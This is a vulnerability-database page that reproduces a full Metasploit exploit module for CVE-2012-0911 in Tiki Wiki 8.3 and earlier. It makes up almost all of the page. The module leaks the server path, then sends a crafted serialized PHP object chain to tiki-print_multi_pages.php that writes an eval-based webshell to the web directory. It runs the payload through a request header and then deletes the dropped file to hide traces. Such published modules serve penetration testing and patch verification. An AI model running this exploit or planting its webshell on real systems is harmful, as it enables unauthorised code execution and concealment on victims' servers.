Lucene search
K

Tiki Wiki <= 8.3 unserialize() PHP Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Tiki Wiki <= 8.3 unserialize() PHP Code Executio

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Tiki Wiki &#60;= 8.3 unserialize() PHP Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a php unserialize() vulnerability in Tiki Wiki &#60;= 8.3
				which could be abused to allow unauthenticated users to execute arbitrary code
				under the context of the webserver user.

				The dangerous unserialize() exists in the &#39;tiki-print_multi_pages.php&#39; script,
				which is called with user controlled data from the &#39;printpages&#39; parameter.
				The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
				class to write arbitrary PHP code to a file on the Tiki Wiki web directory.

				In order to run successfully three conditions must be satisfied (1) display_errors
				php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
				Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
				version older than 5.3.4 must be used to allow poison null bytes in filesystem related
				functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
			},
			&#39;Author&#39;	=&#62;
				[
					&#39;EgiX&#39;, # Vulnerability discovery and PoC
					&#39;juan vazquez&#39; # Metasploit module
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision$&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2012-0911&#39; ],
					[ &#39;BID&#39;, &#39;54298&#39; ],
					[ &#39;EDB&#39;, &#39;19573&#39; ],
					[ &#39;URL&#39;, &#39;http://dev.tiki.org/item4109&#39; ]
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Platform&#39;       =&#62; [&#39;php&#39;],
			&#39;Arch&#39;           =&#62; ARCH_PHP,
			&#39;Payload&#39;        =&#62;
				{
					&#39;DisableNops&#39; =&#62; true,
				},
			&#39;Targets&#39;        =&#62; [ [&#39;Automatic&#39;, {}] ],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 04 2012&#39;
			))

			register_options(
				[
					OptString.new(&#39;TARGETURI&#39;, [ true, &#34;The base path to the web application&#34;, &#34;/tiki/&#34;])
				], self.class)
	end


	def on_new_session(client)
		if client.type == &#34;meterpreter&#34;
			client.core.use(&#34;stdapi&#34;) if not client.ext.aliases.include?(&#34;stdapi&#34;)
			begin
				client.fs.file.rm(@upload_php)
				print_good(&#34;#{@peer} - #{@upload_php} removed to stay ninja&#34;)
			rescue
				print_error(&#34;#{@peer} - Unable to remove #{f}&#34;)
			end
		end
	end

	def exploit
		base = target_uri.path
		base &#60;&#60; &#39;/&#39; if base[-1, 1] != &#39;/&#39;
		@upload_php = rand_text_alpha(rand(4) + 4) + &#34;.php&#34;
		@peer = &#34;#{rhost}:#{rport}&#34;

		print_status(&#34;#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem&#34;)

		res = send_request_cgi(
			&#39;uri&#39; =&#62; &#34;#{base}tiki-rss_error.php&#34;
		)

		if not res or res.code != 200 or not res.body =~ /[&#62; ](\/.*)tiki-rss_error\.php/
			print_error &#34;Tiki Wiki path couldn&#39;t be disclosed. The php setting &#39;display_errors&#39; must be On.&#34;
			return
		else
			tiki_path = $1
			print_good &#34;#{@peer} - Tiki Wiki path disclosure: #{tiki_path}&#34;
		end

		php_payload = &#34;&#60;?php eval(base64_decode($_SERVER[HTTP_CMD])); ?&#62;&#34;

		printpages = &#34;O:29:\&#34;Zend_Pdf_ElementFactory_Proxy\&#34;:1:&#34;
		printpages &#60;&#60; &#34;{s:39:\&#34;%00Zend_Pdf_ElementFactory_Proxy%00_factory\&#34;;O:51:\&#34;Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\&#34;:5:&#34;
		printpages &#60;&#60; &#34;{s:12:\&#34;%00*%00_docCount\&#34;;i:1;s:8:\&#34;%00*%00_name\&#34;;s:3:\&#34;foo\&#34;;s:13:\&#34;%00*%00_directory\&#34;;O:47:\&#34;Zend_Search_Lucene_Storage_Directory_Filesystem\&#34;:1:&#34;
		printpages &#60;&#60; &#34;{s:11:\&#34;%00*%00_dirPath\&#34;;s:#{tiki_path.length + @upload_php.length + 1}:\&#34;#{tiki_path + @upload_php}%00\&#34;;}&#34;
		printpages &#60;&#60; &#34;s:10:\&#34;%00*%00_fields\&#34;;a:1:&#34;
		printpages &#60;&#60; &#34;{i:0;O:34:\&#34;Zend_Search_Lucene_Index_FieldInfo\&#34;:1:&#34;
		printpages &#60;&#60; &#34;{s:4:\&#34;name\&#34;;s:#{php_payload.length}:\&#34;#{php_payload}\&#34;;}}&#34;
		printpages &#60;&#60; &#34;s:9:\&#34;%00*%00_files\&#34;;O:8:\&#34;stdClass\&#34;:0:{}}}&#34;

		print_status(&#34;#{@peer} - Exploiting the unserialize() to upload PHP code&#34;)

		res = send_request_cgi(
		{
			&#39;uri&#39; =&#62; &#34;#{base}tiki-print_multi_pages.php&#34;,
			&#39;method&#39; =&#62; &#39;POST&#39;,
			&#39;vars_post&#39; =&#62; {
				&#39;printpages&#39; =&#62; printpages
			}
		})

		if not res or res.code != 200
			print_error(&#34;#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.&#34;)
			return
		end

		print_status(&#34;#{@peer} - Executing the payload #{@upload_php}&#34;)

		res = send_request_cgi(
		{
			&#39;method&#39; =&#62; &#39;GET&#39;,
			&#39;uri&#39;    =&#62; &#34;#{base + @upload_php}&#34;,
			&#39;headers&#39; =&#62; {
				&#39;Cmd&#39; =&#62; Rex::Text.encode_base64(payload.encoded)
			}
		})

		if res
			print_error(&#34;#{@peer} - Payload execution failed: #{res.code}&#34;)
			return
		end

	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation